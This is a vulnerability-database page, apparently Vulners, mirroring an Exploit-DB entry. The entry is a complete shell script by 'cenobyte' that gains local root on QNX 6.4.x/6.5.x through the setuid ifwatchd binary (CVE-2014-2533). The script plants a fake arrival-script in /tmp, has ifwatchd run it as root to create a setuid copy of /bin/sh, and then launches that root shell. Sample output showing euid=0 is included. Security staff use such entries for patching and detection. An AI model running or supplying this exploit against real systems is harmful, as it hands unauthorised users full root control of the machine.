Lucene search
+L

QNX 6.4.x/6.5.x ifwatchd - Local Privilege Escalation

🗓️ 10 Mar 2014 00:00:00Reported by cenobyteType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

QNX ifwatchd local privilege escalation via fake arrival-scrip

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
ifwatchd Privilege Escalation Exploit
9 Oct 201800:00
zdt
circl
Circl
CVE-2014-2533
10 Mar 201400:00
circl
cve
CVE
CVE-2014-2533
18 Mar 201401:00
cve
cvelist
Cvelist
CVE-2014-2533
18 Mar 201401:00
cvelist
exploitdb
Exploit DB
ifwatchd - Privilege Escalation (Metasploit)
9 Oct 201800:00
exploitdb
metasploit
Metasploit
ifwatchd Privilege Escalation
22 Mar 201820:09
metasploit
nvd
NVD
CVE-2014-2533
18 Mar 201405:18
nvd
packetstorm
Packet Storm
ifwatchd Privilege Escalation
8 Oct 201800:00
packetstorm
prion
Prion
Command injection
18 Mar 201405:18
prion
#!/bin/sh
#
#        QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013
#                         <[email protected]>
#
# - vulnerability description:
# Setuid root ifwatchd watches for addresses added to or deleted from network
# interfaces and calls up/down scripts for them. Any user can launch ifwatchd
# and provide arbitrary up/down scripts. Unfortunately ifwatchd does not drop
# privileges when executing user supplied scripts.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1
#
# - exploit description:
# This exploit creates a fake arrival-script which will be executed as root by
# passing it to the -A parameter of /sbin/ifwatchd. The fake arrival-script
# copies /bin/sh to /tmp/shell and makes it setuid root. Once the setuid shell
# is in place ifwatchd will be killed to drop the user into the root shell.
#
# - example:
# $ uname -a
# QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
# $ id
# uid=100(user) gid=100
# $ ./qnx-ifwatchd.sh
# QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013
#
# [-] creating fake arrival-script
# [-] executing ifwatchd, please wait
# Killed
# [-] now executing suid shell
# # id
# uid=100(user) gid=100 euid=0(root)

PATH=/bin:/usr/bin:/sbin

if [ ! -x /sbin/ifwatchd ]; then
	echo "error: cannot execute /sbin/ifwatchd"
	exit 1
fi

echo "QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013"
echo
echo "[-] creating fake arrival-script"
cat << _EOF_ > /tmp/0
#!/bin/sh
PATH=/bin:/usr/bin
IFWPID=\$(ps -edaf | grep "ifwatchd -A" | awk '!/grep/ { print \$2 }')
cp /bin/sh /tmp/shell
chown root:root /tmp/shell
chmod 4755 /tmp/shell
rm -f /tmp/0
kill -9 \$IFWPID
exit 0
_EOF_

chmod +x /tmp/0

echo "[-] executing ifwatchd, please wait"
ifwatchd -A /tmp/0 -v lo0 2>&1 >/dev/null
echo "[-] now executing suid shell"
/tmp/shell

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation